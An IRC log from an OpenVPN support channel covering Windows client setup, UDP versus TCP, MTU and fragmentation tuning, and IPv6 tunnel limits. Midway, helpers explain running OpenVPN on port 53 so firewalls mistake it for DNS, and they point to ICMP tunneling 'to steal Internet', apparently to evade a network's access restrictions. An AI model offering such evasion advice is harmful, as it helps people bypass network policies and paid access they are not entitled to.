20:02 < Poster> ok that's probably right
20:03 < Poster> had the S flag in tcpdump
20:03 < njbair> yep
20:03 < Poster> ok just to test can you completely disable the Windows firewall?
20:04 < Poster> if tcpdump is not showing UDP frames originating from the Windows host, it's not likely leaving the Windows host
20:04 < njbair> disabled, still not connecting and nothing in tcpdump
20:04 < njbair> should I see a tap adapter in my network adapters?
20:04 < njbair> because I don't
20:05 < Poster> yep
20:05 < Poster> though I think the tap adapter isn't invoked until the session is established
20:05 < njbair> it should still be there even if it's not being used, i think
20:05 < Poster> when you installed OpenVPN, were you prompted to install the TAP adapter?
20:06 < Poster> I believe it's unsigned so you're asked
20:06 < njbair> yes
20:06 < njbair> but it's not there
20:06 < Poster> might be disabled, try start -> run -> ncpa.cpl
20:06 < njbair> wait there it is
20:07 < Poster> can you temporarily change the server from UDP to TCP?
20:07 < njbair> yeah hang on
20:09 < njbair> no change
20:09 < njbair> linux host works over TCP, though
20:10 < Poster> ok using putty on the windows host, running tcpdump on the Linux host, try using putty and point it to the DD-WRT port 1194
20:10 < Poster> you should see the connection on tcpdump
20:10 < Poster> be sure to update the openvpn configuration on the windows host to use TCP
20:11 < njbair> did that
20:12 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
20:12 < Poster> ok are you seeing traffic via tcpdump ?
20:12 < njbair> ok, telnet exited cleanly, saw a few packets on the dump
20:13 < Poster> actually, are you starting the OpenVPN daemon on windows 7 as an administrator?
20:13 < njbair> no
20:13 < Poster> give that a shot
20:14 < njbair> no change
20:14 < Poster> ok so using putty, on the windows host, putting it in telnet mode, setting the destination host as the DD-WRT and the port of 1194, you do see the traffic on the Linux host running tcpdump?
20:15 < njbair> yes. 9 packets, back and forth
20:15 < njbair> err 9 lines
20:18 < Poster> ok and when you're doing this in putty, for the host are you using the hostname for the DD-WRT or IP address?
20:18 < njbair> just for kicks, I tried changing it to dev tun, no change. no traffic on tcpdump
20:18 < njbair> hostname, always
20:18 < Poster> I don't think we're getting that far yet
20:19 < Poster> I am fairly sure you have to connect and pass authentication before the daemon tries to bring in the TAP adapter
20:19 < njbair> I'm booting an XP machine to see if that can connect
20:25 < njbair> that's not going to work...I don't have .NET and don't want to install it now
20:27 < Poster> I didn't think it needed .NET framework
20:27 < njbair> the desktop client deos
20:27 < njbair> *does
20:28 < njbair> unless there is another way to connect a windows machine?
20:29 < Poster> I guess I've always had a few flavors, but I never knew of that dependency
20:30 < njbair> What about the package at the bottom of this page: http://openvpn.net/index.php/download.html
20:30 <@vpnHelper> Title: Downloads (at openvpn.net)
20:30 -!- amir [~amir@unaffiliated/amir] has quit [Read error: Operation timed out]
20:31 < Poster> I think you're looking at access server
20:31 < Poster> try http://openvpn.net/index.php/open-source/downloads.html
20:31 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
20:31 <@vpnHelper> Title: Community Downloads (at openvpn.net)
20:31 < njbair> Is it just me, or is there no menu link to the clients?
20:32 < Poster> they're one in the same
20:32 < njbair> well then
20:33 < Poster> the binary can be a server or client, it depends on the configuration you point it to
20:33 < njbair> I see
20:33 < njbair> I think I was using the wrong package
20:34 < Poster> I've never tried the access server, I am guessing it helps with administration or setup
20:34 < njbair> Look here: https://openvpn.net/index.php?option=com_content&id=357
20:34 <@vpnHelper> Title: Client Packages (at openvpn.net)
20:34 < njbair> That's what I've been using
20:35 < Poster> ok yeah I don't know much about those
20:35 < Poster> I've always used the community flavor
20:36 < njbair> I just installed community
20:36 < njbair> OpenVPN GUI is running now, but where do I configure it?
20:36 < Poster> OpenVPN GUI is just a wrapper to start and stop
20:37 < Poster> it reads for *.ovpn in either C:\Program Files\OpenVPN\config or C:\Program Files (x86)\OpenVPN\config
20:37 < njbair> Ok I right-clicked my config file and clicked "Run OpenVPN on this config"
20:37 < Poster> then gives you point and click to connect/disconnect, I think configure a proxy, etc
20:37 < njbair> now I'm connected
20:38 < njbair> ha
20:38 < njbair> what the heck is that other client package
20:38 < njbair> I guess that's why there's no menu item for it
20:39 < Poster> I really have no idea =[
20:40 < njbair> so where should I store my keys and cert files?
20:40 < Poster> you can keep them anywhere, I usually place them with or near my configuration file
20:41 < Poster> in C:\Program Files\OpenVPN\config or C:\Program Files (x86)\OpenVPN\config
20:41 < Poster> but you can specify a full path in your configuration
20:41 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 245 seconds]
20:41 < Poster> if you wanted to split them for security reasons
20:41 < Poster> put the config and cert on one drive, then carry the key on a USB disk or something
20:43 < njbair> we've got plenty of secure transmission options. I just wasn't sure if there was a convention for that.
20:43 < njbair> Is there a config option for a friendly name?
20:43 < Poster> friendly name for the VPN connection?
20:43 < njbair> yea
20:44 < Poster> in my experience, it just takes the name of the configuration file
20:44 < Poster> so foo.ovpn would show up as "foo"
20:44 < njbair> ok
20:46 < njbair> wow that is really easy
20:46 < njbair> (once you install the right client software, that is
20:46 < njbair> well hey, I owe you a big thanks for your patience and willingness to help
20:47 < Poster> yeah I like it quite a bit, I use it on Windows/BSD/Linux with great success
20:47 -!- master_of_master [~master_of@p4FF245E4.dip.t-dialin.net] has joined #openvpn
20:47 < njbair> ever play with it on mobile?
20:47 < Poster> I have not, I don't do a lot of mobile outside of email/web/text
20:48 < njbair> as I understand it, Android doesn't work with TAP (it's a root access thing)
20:48 < Poster> yeah I thought it required a rooted phone
20:49 < njbair> You basically need TAP for a windows environment, I would think
20:50 < Poster> yep, you install the adapter
20:50 < Poster> you can install multiple as well, I have remote hosts I manage with 4 adapters running unique connections on each
20:50 < Poster> makes administration a breeze
20:50 < njbair> wow
20:50 -!- master_o1_master [~master_of@p4FF24695.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
20:50 < Poster> most are behind NAT of some type at remote locations
20:51 < Poster> I use the link made to me to go back through to access services, works out real well
20:51 < njbair> do you run any other VPNs?
20:51 < Poster> not personally no
20:51 < njbair> (IPSEC, PPTP)
20:52 < Poster> I did use freeswan awhile back
20:52 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
20:52 < Poster> somewhere along the lines I discovered OpenVPN and have not gone back since
20:52 < njbair> We've been running PPTP for the office because it's so easy to set up. But it's old, buggy, and insecure.
20:52 < Poster> yeah I wouldn't recommend it
20:52 < njbair> I may have to keep it set up for mobile access
20:53 < njbair> just for when our staff are, say, at the airport and need a secure tunnel
20:53 < Poster> OpenVPN can be good for restrictive firewalls too
20:53 < Poster> I was recently in a medical facility that only allowed 53, 80 and 443 out
20:53 < Poster> I was able to leverage an OpenVPN daemon on 53 then tunnel all my traffic through the remote host
20:54 < njbair> how did you get out on 53?
20:54 < Poster> set the OpenVPN client and server to use 53/udp
20:54 < Poster> most firewalls will think it's DNS traffic
20:54 < Poster> unless it's intelligent and actually proxies DNS queries, but most places are not that secure
20:55 < Poster> you can do the same putting it on 80 or 443
20:55 < njbair> what's the difference between using UDP and TCP?
20:55 < Poster> it's the transport that OpenVPN uses
20:56 < Poster> UDP is a bit lighter, does not have TCP overhead
20:56 < njbair> so then faster
20:56 < Poster> but TCP is generally NAT friendly
20:56 < Poster> yep
20:56 < njbair> what about encryption? Should I be concerned about blowfish? I've heard mixed opinions
20:56 < Poster> UDP can have trouble through NAT though, since UDP is stateless, connection tracking is sort of "best effort" where it looks for matching return traffic
20:57 < Poster> I've run into several cases where I am using UDP behind a consumer grade NAT router
20:57 < Poster> and it would lose state and the connection would die
20:57 < Poster> TCP is pretty much immune since it has a handshake and sequencing numbers
20:57 < njbair> right
20:57 < njbair> I guess I'll try UDP and if it's flaky I can change it
20:58 < Poster> yeah it's going to be slightly faster
20:58 < njbair> have you ever benchmarked different ciphers?
20:58 < Poster> not a whole lot
20:58 < Poster> I did bury a 400 MHz system trying to pass VoIP traffic though
20:59 < Poster> that was awhile ago
20:59 < njbair> heh
20:59 -!- nonotza [~nonotza@rrcs-50-74-239-162.nyc.biz.rr.com] has joined #openvpn
21:00 < njbair> wow
21:01 < njbair> I'm getting 15Mbps down through this baby
21:01 < Poster> I've not done anything too heavy
21:01 < Poster> but until I implemented virtualization I ran about a dozen OpenVPN links on a Pentium Pro 200 MHz with 64MB of memory
21:02 < njbair> yeah, it seems really lightweight and fast
21:02 < Poster> now the CPU is much faster, but the memory is the same
21:02 < Poster> I keep the PPro200s around though
21:02 < Poster> they are pretty lean and low power
21:03 < Poster> no fan on the CPU
21:03 < njbair> If OpenVPN can run this fast on an Atheros chip, I'm wondering if it's been ported to ARM for the Raspberry Pi
21:03 < Poster> I would imagine so
21:04 < njbair> Imagine, VPN'ing everywhere you go for $35/ea
21:04 < Poster> it's portability is great
21:04 < Poster> I am not sure about a second ethernet adapter, I have heard that USB on the Pi can be hit or miss
21:04 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
21:05 < njbair> You don't need one
21:05 < Poster> I think I am missing your idea
21:05 < njbair> Just tell the firewall to redirect all port 1194 traffic to the VPN IP
21:05 < Poster> oh, yeah you could do that
21:06 < Poster> if you want to be able to pierce most firewalls you might want to do one UDP listener and TCP listener
21:06 < njbair> USB is flaky on the Pi. But if you plug in a powered hub it's great
21:06 < Poster> oh could be, I don't own one yet, I should though
21:06 < Poster> sorry excuse for a geek =[
21:06 < njbair> I own 2
21:07 < njbair> not played much with them, though
21:07 < Poster> I did some work with  OpenWRT on the Routerboard RB411
21:07 < Poster> that worked well
21:08 < njbair> OpenWRT has some great capabilities
21:08 < njbair> but we needed something a bit more stable for the office, so I chose DD-WRT instead
21:08 < Poster> yeah I used it with an old atheros minipci card for some wireless goodness
21:10 < njbair> DD-WRT is one of those projects that always seems dead, but isn't
21:11 < Poster> it seems pretty mature
21:11 < Poster> not sure what major changes would come down in the past few years
21:11 < njbair> Mainly, device support
21:12 < Poster> yeah, I could see that
21:18 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
21:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:54 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Quit: Leaving]
22:05 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
22:22 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
22:23 -!- Gustaffs [~gh55738@46.165.221.13] has joined #openvpn
22:24 < Gustaffs> Hi guise.. just a question... for Wimax what would be a good mtu?
22:25 < Gustaffs> because openvpn drops my connection frequently... I'm not sure if it is because of packet loss or something else
22:25 < Poster> have you tried something like a continuous ping?
22:25 < Poster> to compare against?
22:25 < Gustaffs> yup
22:25 < Gustaffs> it is stable
22:25 < Gustaffs> no packet loss
22:25 < Poster> are you using UDP?
22:26 < Gustaffs> yup port 53
22:26 < Poster> ok try switching to UDP
22:26 < Poster> oops, TCP I meant
22:26 < Gustaffs> Can't do it
22:26 < Gustaffs> hehe
22:26 < Poster> oh you're piercing through
22:26 < Gustaffs> because it would be of no use for me
22:26 < Gustaffs> yup
22:26 < Gustaffs> lol
22:26 < Poster> I've had that too
22:26 < Poster> it's probably rate limiting upstream
22:26 < Poster> what client OS are you using?
22:27 < Gustaffs> Linux
22:27 < Poster> that can be a tough one, but you may be able to do something using tc to introduce some latency
22:27 < Poster> and find the sweet spot of the rate limiter
22:28 < Poster> http://stackoverflow.com/questions/614795/simulate-delayed-and-dropped-packets-on-linux
22:28 <@vpnHelper> Title: tcp - Simulate delayed and dropped packets on Linux - Stack Overflow (at stackoverflow.com)
22:28 < Gustaffs> yup I already tried that... and also I setup frag to 1450 which was supposed to be the right tunning
22:28 < Poster> you might need to go really low
22:29 < Gustaffs> like 500?
22:29 < Gustaffs> xD
22:29 < Poster> I believe per RFC, DNS is supposed to switch to TCP for responses over 512 bytes
22:29 < Poster> so figuring in the overhead, maybe 450 or so
22:29 < Gustaffs> I see.... let me try that
22:29 < Gustaffs> let me try on the other computer
22:30 < Gustaffs> with the wimax dongle
22:30 < Poster> have you tried 80 or 443 tcp?
22:30 < Gustaffs> yup no go :(
22:30 < Gustaffs> they have it blocked
22:30 < Poster> gotcha
22:30 < Gustaffs> so I can only go through 53 udp
22:30 < Poster> those are sometimes open
22:31 < Poster> I assume you've tried 53/tcp also?
22:31 < Gustaffs> yup I tried 80, 8080, 9090, 443, 53 tcp
22:31 < Gustaffs> and same for udp
22:31 < Gustaffs> and just 53 udp works
22:31 < Poster> yeah I have had a few of those too
22:31 < Gustaffs> on wifi it works sweet
22:32 < Gustaffs> but just with wimax :(
22:32 < Poster> yeah I think I was somewhere that wanted me to pay
22:32 < Gustaffs> also I was thinking that it could be the link quality
22:32 < Poster> pings are relatively small
22:32 < Gustaffs> any way to improve link quality or get statistics on linux for wimax
22:32 < Poster> I think there's also ICMP tunneling
22:32 < Poster> though I don't know how secure it really is
22:32 < Poster> you'd probably want to wrap something inside it
22:33 < Gustaffs> I did with a cocacola can
22:33 < Gustaffs> lol
22:33 < Gustaffs> Coke
22:34 < Poster> http://neverfear.org/blog/view/9/using_icmp_tunneling_to_steal_internet
22:34 <@vpnHelper> Title: NEVERFEAR.org - Using ICMP tunneling to steal Internet (at neverfear.org)
22:35 < Gustaffs> cool
22:35 < Gustaffs> let me check it
22:35 < Gustaffs> thx
22:36 < Poster> I would probably run a TCP flavor of OpenVPN through it though, it looks like it just forwards TCP
22:37 < Poster> so you'd either need to use a TCP based VPN link or jump into various proxies
22:38 < Gustaffs> pretty nice article
22:38 < Poster> probably good to put some sensible filtering on the other side too
22:39 < Gustaffs> totally :)
22:40 < Gustaffs> let me try something... probably that would be better... I'll connect from another computer to stay on IRC while I try with wimax here
22:41 < Poster> ok good luck
22:41 < Gustaffs> thx bro :)
22:42 < Poster> np!
22:46 -!- Gustaffs [~gh55738@46.165.221.13] has quit [Quit: Leaving]
22:48 -!- Gustaffson [~dell@tsn109-201-135-220.dyn.nltelcom.net] has joined #openvpn
22:49 < Poster> any luck?
22:50 < Gustaffson> well, it is connected to the vpn
22:50 < Gustaffson> no errors yet
22:50 < Gustaffson> i forgot to setup verb to 6
22:50 < Gustaffson> frag 480
22:50 -!- Tabrenus [~Tabrenus@213.211.132.86.static.edpnet.net] has joined #openvpn
22:51 -!- Tabrenus [~Tabrenus@213.211.132.86.static.edpnet.net] has quit [Read error: Connection reset by peer]
22:51 < Poster> oh, you're on the UDP OpenVPN link?
22:51 < Gustaffson> error already.... FRAG_IN error flags=0xfa2a187b
22:52 < Gustaffson> yup with the other computer
22:52 < Gustaffson> with wimax
22:52 < Gustaffson> not loading websites and it gives me the error mentioned above
22:52 < Gustaffson> FRAG TEST not implemented
22:53 < Poster> have you tried lowering the mtu?
22:53 < Gustaffson> yup but it always disconnected me with Backtrack errors
22:54 < Gustaffson> should I try something like tun-mtu 1400 and fragment 600 ?
22:55 < Poster> I would go much lower, 450 or so
22:56 < Poster> the other thing you can maybe try would be to leave the MTU alone
22:56 < Poster> then start sending ICMP echo requests through, slowly increasing their size
22:56 < Gustaffson> alright :)
22:56 < Poster> until you start dropping or getting errors
22:56 < Poster> I don't really know what you're going through, I've experienced similar behaviors
22:57 < Poster> I think it's probably a matter of tweaking the size and possibly introducing latency to keep it from kicking in
22:57 < Poster> I am imagining it is some type of traffic policing that once hit will drop frames
22:58 < Gustaffson> gotcha
22:58 < Poster> where we need to implement shaping in a sense to keep it under that threshold
22:58 < Gustaffson> pretty cool... makes sense
22:58 < Poster> get that a lot of time on dedicated lines
22:58 < Gustaffson> could you give me an example of a good ping for icmp echo request?
22:58 < Gustaffson> i mean on how to start....
22:59 < Poster> ok you're using a Linux client correct?
22:59 < Gustaffson> yup
23:00 < Poster> ok so try something like
23:00 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
23:00 < Poster> ping www.google.com
23:00 < Poster> across the link
23:00 < Poster> watch for drops or errors from OpenVPN
23:00 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
23:00 < Poster> then start creeping the size up
23:00 < Poster> ping -s 100 www.google.com
23:00 < Poster> see how it goes
23:00 < Poster> slowly bringing the size up until you hit errors
23:00 -!- master_o1_master [~master_of@p4FF24F5D.dip.t-dialin.net] has joined #openvpn
23:00 < Poster> appears to be about 28 bytes overhead in an icmp echo request
23:01 < Gustaffson> oh gotcha... i know how to ping :P i just didnt know the packet size to start with hehe
23:01 < Poster> oh, sorry =[
23:01 < Poster> <- Captain Obvious
23:01 < Gustaffson> no packet loss ... 35 sent 35 received and lol time is 38446ms :o
23:01 < Poster> goodness
23:01 < Gustaffson> lol no wonder hahahahhaa feel dumb now
23:02 < Poster> that's rough
23:02 < Gustaffson> that is hell of a latency right there lol
23:02 < Poster> yep
23:02 < Poster> I'd maybe try the icmp tunnel
23:02 < Gustaffson> yup I'll give it a shot
23:02 < Gustaffson> and THANK YOU bro
23:02 < Gustaffson> sorry for being that dumb lol haha
23:02 < Poster> need to bail for the evening, good luck!
23:02 < Poster> np ; have fun
23:02 < Gustaffson> take care man
23:02 < Gustaffson> see ya!
23:02 -!- Gustaffson [~dell@tsn109-201-135-220.dyn.nltelcom.net] has left #openvpn []
23:04 -!- master_of_master [~master_of@p4FF245E4.dip.t-dialin.net] has quit [Ping timeout: 276 seconds]
23:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:55 -!- corretico [~luis@190.211.93.38] has joined #openvpn
23:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
--- Day changed Tue Mar 19 2013
00:00 -!- xbanux [~xbanux@triband-mum-59.182.164.172.mtnl.net.in] has joined #openvpn
00:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
00:12 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 255 seconds]
00:24 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 255 seconds]
00:33 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
01:05 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Read error: Connection reset by peer]
01:06 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
01:11 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 252 seconds]
01:16 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
01:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
01:36 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:44 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
01:45 -!- nonotza [~nonotza@rrcs-50-74-239-162.nyc.biz.rr.com] has quit [Quit: nonotza]
01:49 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has quit [Ping timeout: 256 seconds]
01:50 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 256 seconds]
01:50 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Ping timeout: 256 seconds]
01:52 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
01:55 -!- swiftkey [swiftkey@2a01:7e00::f03c:91ff:feae:714e] has joined #openvpn
01:55 -!- swiftkey [swiftkey@2a01:7e00::f03c:91ff:feae:714e] has quit [Changing host]
01:55 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
02:15 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
02:17 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
02:17 -!- mode/#openvpn [+o mattock_afk] by ChanServ
02:17 -!- mattock_afk is now known as mattock
02:19 -!- hatschi [~marvin@dslb-188-098-207-219.pools.arcor-ip.net] has joined #openvpn
02:26 -!- mattock is now known as mattock_afk
02:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:33 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has joined #openvpn
02:33 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has quit [Changing host]
02:33 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:35 -!- mattock_afk is now known as mattock
02:48 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
02:50 -!- Diffen [~diffen@80.78.212.242] has joined #openvpn
02:55 -!- xbanux [~xbanux@triband-mum-59.182.164.172.mtnl.net.in] has quit [Read error: Connection reset by peer]
02:55 -!- xbanux [~xbanux@triband-mum-59.182.142.68.mtnl.net.in] has joined #openvpn
03:16 -!- brute11k [~brute@89.249.235.131] has joined #openvpn
03:23 -!- xbanux [~xbanux@triband-mum-59.182.142.68.mtnl.net.in] has quit [Ping timeout: 276 seconds]
03:23 -!- xbanux [~xbanux@triband-mum-59.182.142.68.mtnl.net.in] has joined #openvpn
03:37 -!- kubbing [~kubbing@c-006.certicon.cz] has joined #openvpn
03:40 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 256 seconds]
03:40 -!- jpalmer [~jpalmer@unaffiliated/jpalmer] has quit [Ping timeout: 252 seconds]
03:46 -!- jpalmer [~jpalmer@unaffiliated/jpalmer] has joined #openvpn
03:55 < jzaw> ecrist EugeneKay im looking at the ipv6 for openvpn
03:55 < jzaw> am i misunderstanding something cos it seems you still have to have ipv4 for ipv6 to pass down the tunnel?
03:57 < pekster> Correct. Currently the code assumes that all clients have an IPv4 address, and it's non-trivial to change that at the moment (maybe 2.4.x will do so, but that's yet to be determined)
03:57 < jzaw> ah thanks pekster
03:57 < jzaw> i was pulling my hair out thinking my google-fu had finally left me !
03:58 < jzaw> scary i know
03:58 < pekster> It sholdn't be a problem to pick some obscure rfc1918 network if you really don't want/need IPv4 at all
03:58 < jzaw> just for tunnel ends?
03:58 < pekster> Right
03:59 < jzaw> but it still only connects via ipv6 in its entirety ?
03:59 < jzaw> so endpoints have both ipv4 and 6 ips
03:59 < pekster> I thought you were taling about the tunneled traffic...
04:00 < jzaw> im doing that now ... routing ipv6 down an established ipv4 tunnel
04:00 < jzaw> but id like to establish a tunnel on ipv6 only ... is that possible?
04:01 < pekster> For the inside or outside IPs is what I'm trying to get at
04:01 < jzaw> there are hosts out there that are ipv6 only .... ie    loopsofzen.co.uk
04:02 < jzaw> if by outside you mean the config stages ... thats what im after
04:02 < pekster> And what are you trying to do? Reach a host like that, or connect to an openvpn server running on it?
04:03 < jzaw> ie the server (server-ipv6)only has an ipv6 addy .. say
04:03 < jzaw> connect to a ovpn server on that
04:03 < jzaw> if it had a server
04:04 < jzaw> loopsofzen cant be reached by ipv4 ... unless youre doing some 6to4 or what ever but then youre still only reaching via ipv6
04:04 < pekster> Looks like that's not supported at preasent. It's bound to 0.0.0.0:1194 for me, and attempts to bind it to my IPv6 address specifically seem to fail
04:05 < jzaw> ah so cant bind to :::1194
04:05 < pekster> If you goal is to *reach* a host like that, just connect to a tunneling service that provides you IPv6. This could be HE, sixxs.net, or an openvpn tunnel where you get an IPv6 address
04:05 < pekster> That works fine over OpenVPN
04:05  * jzaw nods 
04:05 < jzaw> i have ipv6 both native (at home) and HE here
04:06 < pekster> Sure. I use openvpn get an address on my sixxs.net allocation when I'm not at home
04:06 < pekster> I use openvpn anyway, so it was natural to have it feed me a v6 address too (what else am I going to do with a /48...)
04:06 < jzaw> indeed
04:07 < jzaw> and ive actually got part of my /48 from home vpn'd to here (Poland)
04:07 < jzaw> its funny to firewall myself way way over there in the uk
04:08 < jzaw> the thing i was wanting to setup was independent ipv4 and ipv6 tunnels
04:08 < jzaw> so if i borked up my ipv4 settings either end i could still get in and admin via ipv6 (securely)
04:08 < pekster> Attempting to bind to an IPv6 address with the --local directive fails:
04:08 < pekster> RESOLVE: Cannot resolve host address: fe80::a44:1: Address family for hostname not supported
04:08 < jzaw> what addy were you trying to use there?
04:09 < pekster> An arbitrary link address I added
04:09 < pekster> fe80::/10 is link-local. You can add whatever you want there
04:10  * jzaw nods
04:10 -!- zz_AsadH is now known as AsadH
04:10 < pekster> It doens't with with my globally routable address either, fwiw
04:10 < jzaw> what about a real global pekster
04:10 < pekster> Yea, I tried it too. It doesn't matter (if it did, a massive bug somewhere would have just been uncovered)
04:11 < pekster> IPv6 "doesn't care" in the least
04:12 < pekster> Although I suppose it could if you assigned the same IP on multiple links. Linux knows how to deal with them as long as they're unique. Windows outright refuses
04:13 < jzaw> wouldnt that be an effective bridge?
04:13 < pekster> ?
04:13 < jzaw> same ip on multiple links
04:13 <@EugeneKay> No.
04:14 < pekster> fe80::/10 is special. Plenty of RFC to read on that point
04:14 < pekster> It's scoped per-link
04:14 < jzaw> k :)
04:14 <@EugeneKay> Bridging combines broadcast domains. Having the same IP on multiple NICs doesn't do that by itself
04:15 < jzaw> so no go on ipv6 tunnels at the mo
04:15 < jzaw> i see EugeneKay
04:25 < pekster> I'll have to poke at it more later, but the function throwing that error message is actually IPv6-supported, but many of its callers aren't
04:27 < jzaw> cool ta
04:29 < pekster> Actually, maybe it's just the assumption in_addr_t() makes. Too late for me to poke at this now, but I'll see if I can't make some sense of the code later. Feel free to check for a bugreport on the topic at openvpn.net under the community portal and file one if there isn't one there already
04:29 < jzaw> will look thx :)
04:37 -!- brute11k [~brute@89.249.235.131] has quit [Read error: Connection reset by peer]
04:38 < hatschi> pekster: hi
04:39 < hatschi> pekster: we had a discussion last week about an fragmentation issue. can you remember this?
04:39 < pekster> Let's assume not.
04:40 -!- brute11k [~brute@89.249.235.131] has joined #openvpn
04:41 < hatschi> pekster: we tried it to reproduce it with a minimal config. and after some time i was able to reproduce the issue with a minimal config, but it seems that you have been away from your machine by this time. maybe you have read my follow up or not...
04:41 < pekster> Oh, sounds vaugly familiar. You had to use a connection profile, right?
04:42 < hatschi> yes, that was it ;)
04:42 < hatschi> when using connection profiles 2.3 forget's about the fragmentation, while 2.2 is honouring it...
04:43 < pekster> That stuff tends to be ephemeral for the duration of a conversation. However, I believe reading some note that global options specified *before* a connection profile would be used by all of them
04:43 < hatschi> for my setup it was no big deal to remove the connection profiles because it was a relict from former time, but i don't know how to handle this - if this is a bug or a feature.
04:44 < pekster> Depends on if it works poperly when the fragmentation options are placed above (ie: not below, or "after") the profile itself
04:44 < hatschi> then it sounds like a feature ;)
04:44 < hatschi> lets see if my test vm's are still alive...
04:44 < pekster> Official builds of 2.3.0 won't work with --verb 4 to show you or I'd suggest you try that. Building git master will (my patch that fixed this was commited recently) or you could wait until 2.3.1 comes out which should have it
04:45 < pekster> If you can reproduce it in 2.2.2, that's a valid test case; did your minimal test config do the right thing when a 2.2.2 client used it?
04:46 < hatschi> yes, it works wit 2.2.? - currently i don't know if the former version was 2.2.1 or 2.2.2...
04:46 < pekster> 2.2.2 -> 2.3.0
04:46 < pekster> For official releases anyway
04:48 < pekster> See if 2.3.0 works with the frag stuff above your profile. If not, it's probably a bug (filing your minimal config files in the bug tracker at openvpn.net would be wise in such a case, after checking for an existing bug, of course)
04:51 < hatschi> pekster: iv'e just tried it with my vm's: even placing fragment before the connection profile doesn't help - i still get the fragment errors on the server.
04:52 < pekster> Can you file a bugreport then? Include the server config, and the working/not-working minimal test cases you have? Be sure to note versions used (2.3.0 I think on your client, verses that it worked *with* the connection profiles as expected under 2.2.2)?
04:53 < pekster> That would keep it on the radar, where IRC isn't exactly a form of "reliable delivery" ;)
04:53 < hatschi> hmm.
04:54 < hatschi> now it's going to get interesting. i can't get back to a working config...
05:01 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:03 < hatschi> okay. i was wrong - there was another openvpn client process running on the test machine that was mixing up everything.
05:04 < hatschi> final results are: fragmentation works if the statements are before the connection profile, but not after for 2.3
05:04 < pekster> And that's consistent with the documentation I found
05:04 < pekster> I think under the connection profile part of the manpage
05:06 < hatschi> okay. i've missed this one and it seems to have been an issue for at least 2.2.1 - do you have a 2.2.2 binary that could work with centos ?
05:07 < hatschi> s/it seems to have been an issue/it seems not to have mattered
05:08 < hatschi> nevertheless it works as designed so we don't have a bug in 2.3 ;)
05:08 < pekster> I don't. rpmforge might, or the usual places. Building your own from source isn't that hard, moreso if you can just grab the srpm from $upstream for 2.2.1 and just bring build 2.2.2 the same way
05:11 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 260 seconds]
05:12 < hatschi> do you think we should put so much effort in a 'probably existing config parsing bug' of an older version? okay, we have a few scenario's stumbling into (like me) when upgrading from 2.2 to 2.3 but what to do if we fix it for 2.2.3? then we have the issues when doing a minor upgrade, and i think that would hurt harder… ;)
05:14 < pekster> Right. If there's not a bug in 2.3.0 it's probably of less interest. Presumably it could be back-ported, but if someone is upgrading to 2.2.whatever (whatever >2) 2.3.0 might as well be used. IMO anyway
05:15 < pekster> Then again, maybe it's an easy change. Until someone decides to track down the issue, it remains a mystery. I have enough code I'm more interested in hacking at that it's less of a concern for me personally, especially if 2.3.0 works. And I care even less if there's no official bug to refer to ;)
05:19 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 255 seconds]
05:19 -!- bla [bla@unaffiliated/bla] has quit [Ping timeout: 255 seconds]
05:19 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 260 seconds]
05:19 -!- lbft [~lbft@199.195.249.177] has quit [Ping timeout: 260 seconds]
05:19 -!- NChief [tomme@unaffiliated/nchief] has quit [Ping timeout: 260 seconds]
05:19 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 255 seconds]
